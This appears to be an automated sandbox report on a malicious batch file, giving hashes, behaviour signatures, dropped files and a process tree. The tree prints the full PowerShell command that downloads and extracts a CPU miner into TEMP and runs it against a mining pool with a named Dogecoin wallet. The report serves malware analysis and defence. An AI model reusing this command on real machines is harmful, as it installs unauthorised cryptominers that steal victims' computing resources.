f1afc81fa5c304ba261d76f1941e54ebe25a3a7651b0a45e646183382ec03bc4

General

Target

73u3Ito.bat
Size

508B
MD5

d9af861fbfd5f212c2db65e7ed0cd376
SHA1

f9316adde0463e645cc0624f645faad3b972320a
SHA256

f1afc81fa5c304ba261d76f1941e54ebe25a3a7651b0a45e646183382ec03bc4
SHA512

92eb6c1e2a0e1cf196c97c9e9a9f3c53967f9ae58a2b675ce18e967b0e414e6b17ade6e914e96817df1878bbe11022b4737bae0d4078a257de9a132eb1a91536

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
6	4072	powershell.exe
9	4072	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
1612	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
1612	cpuminer-sse2.exe
1612	cpuminer-sse2.exe
1612	cpuminer-sse2.exe
1612	cpuminer-sse2.exe
1612	cpuminer-sse2.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4072	powershell.exe
4072	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4072	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4968 wrote to memory of 4072	4968	cmd.exe	86
PID 4968 wrote to memory of 4072	4968	cmd.exe	86
PID 4072 wrote to memory of 4224	4072	powershell.exe	95
PID 4072 wrote to memory of 4224	4072	powershell.exe	95
PID 4224 wrote to memory of 1612	4224	cmd.exe	97
PID 4224 wrote to memory of 1612	4224	cmd.exe	97

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\73u3Ito.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4968
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Invoke-WebRequest -Uri 'https://github.com/JayDDee/cpuminer-opt/releases/download/v23.15/cpuminer-opt-23.15-windows.zip' -OutFile "$env:TEMP\cpuminer.zip"; Expand-Archive -Path "$env:TEMP\cpuminer.zip" -DestinationPath "$env:TEMP\cpuminer"; Set-Location -Path "$env:TEMP\cpuminer"; Start-Process -FilePath 'cmd.exe' -ArgumentList '/k', 'cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.na.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge,zap=PRIV -t 2'"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4072
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /k cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.na.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge,zap=PRIV -t 2
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4224
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.na.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge,zap=PRIV -t 2
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1612

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0ffbzrli.ekr.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer\libstdc++-6.dll

Filesize
11.1MB

MD5
926aafb70b7b17ca653f1ea5aae27cd1

SHA1
320878a3589888791e7f2d51780b96f51347766b

SHA256
d31100c266246737b362b663f88b585215689efebdf9fa7e0b3909f4020e162f

SHA512
877b02d73a8ded6dbb7d3dbec88c76985b36ef6c1f70e2ad01b545795018ce7fdab6e5c2f2dea8cdb19e70ca1f616d5e591f7800791b976ab35f52f338afe2cf

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer\libstdc++-6.dll

Filesize
1.3MB

MD5
696922f5250b5df33813776816103357

SHA1
6f6e4cecb16596c1ad0e631c7ab5b56659da1ca2

SHA256
2802e69b65032d2cb76172ab508766f8a2b2beba9c2cd84dbf7c28fc9cbe1c7d

SHA512
dcb8535a83f321561241432304155a2e2a18435e102785a5789bd3a9ed643f153fb63ca797c8ca798d2d85927b29375048b43b0ef0bc4cb00c1c96b5822e8ae9

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer\libstdc++-6.dll

Filesize
2.2MB

MD5
5cb25295334cb63e6b4d195522898229

SHA1
8fc99be1a298e52a48c09274aab7ea913058135e

SHA256
c0c6b1386533fe75d9d5bcaec3c99a788d4ad4e4f6e12650bba07581a94497a7

SHA512
fa957785980889ae7417bfd529197175049fd34d16706bc666e923ea1e7b04743e3c1f9f624f3458b5a5228c31267120453fc4e9729ec16ba9fc8973ed55d6ac

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1612-90-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1612-75-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1612-135-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1612-130-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1612-120-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1612-110-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1612-105-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1612-100-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1612-95-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1612-93-0x0000000051D90000-0x0000000051E28000-memory.dmp

Filesize
608KB

Download
memory/1612-92-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/1612-85-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1612-79-0x0000000001020000-0x00000000028D5000-memory.dmp

Filesize
24.7MB

Download
memory/1612-78-0x0000000051D90000-0x0000000051E28000-memory.dmp

Filesize
608KB

Download
memory/1612-77-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/1612-76-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4072-1-0x000001F53BB30000-0x000001F53BB52000-memory.dmp

Filesize
136KB

Download
memory/4072-15-0x000001F5219D0000-0x000001F5219E0000-memory.dmp

Filesize
64KB

Download
memory/4072-11-0x000001F53BB10000-0x000001F53BB20000-memory.dmp

Filesize
64KB

Download
memory/4072-12-0x000001F53BE50000-0x000001F53BF5E000-memory.dmp

Filesize
1.1MB

Download
memory/4072-13-0x00007FFBC72F0000-0x00007FFBC7DB1000-memory.dmp

Filesize
10.8MB

Download
memory/4072-14-0x000001F5219D0000-0x000001F5219E0000-memory.dmp

Filesize
64KB

Download
memory/4072-0-0x000001F53BBA0000-0x000001F53BC32000-memory.dmp

Filesize
584KB

Download
memory/4072-17-0x000001F53BDB0000-0x000001F53BDC6000-memory.dmp

Filesize
88KB

Download
memory/4072-16-0x000001F5219D0000-0x000001F5219E0000-memory.dmp

Filesize
64KB

Download
memory/4072-62-0x00007FFBC72F0000-0x00007FFBC7DB1000-memory.dmp

Filesize
10.8MB

Download
memory/4072-24-0x000001F53BDA0000-0x000001F53BDAA000-memory.dmp

Filesize
40KB

Download
memory/4072-23-0x000001F53BDD0000-0x000001F53BDE2000-memory.dmp

Filesize
72KB

Download
memory/4072-21-0x000001F5219D0000-0x000001F5219E0000-memory.dmp

Filesize
64KB

Download
memory/4072-20-0x000001F5219D0000-0x000001F5219E0000-memory.dmp

Filesize
64KB

Download
memory/4072-19-0x000001F5219D0000-0x000001F5219E0000-memory.dmp

Filesize
64KB

Download
memory/4072-18-0x00007FFBC72F0000-0x00007FFBC7DB1000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing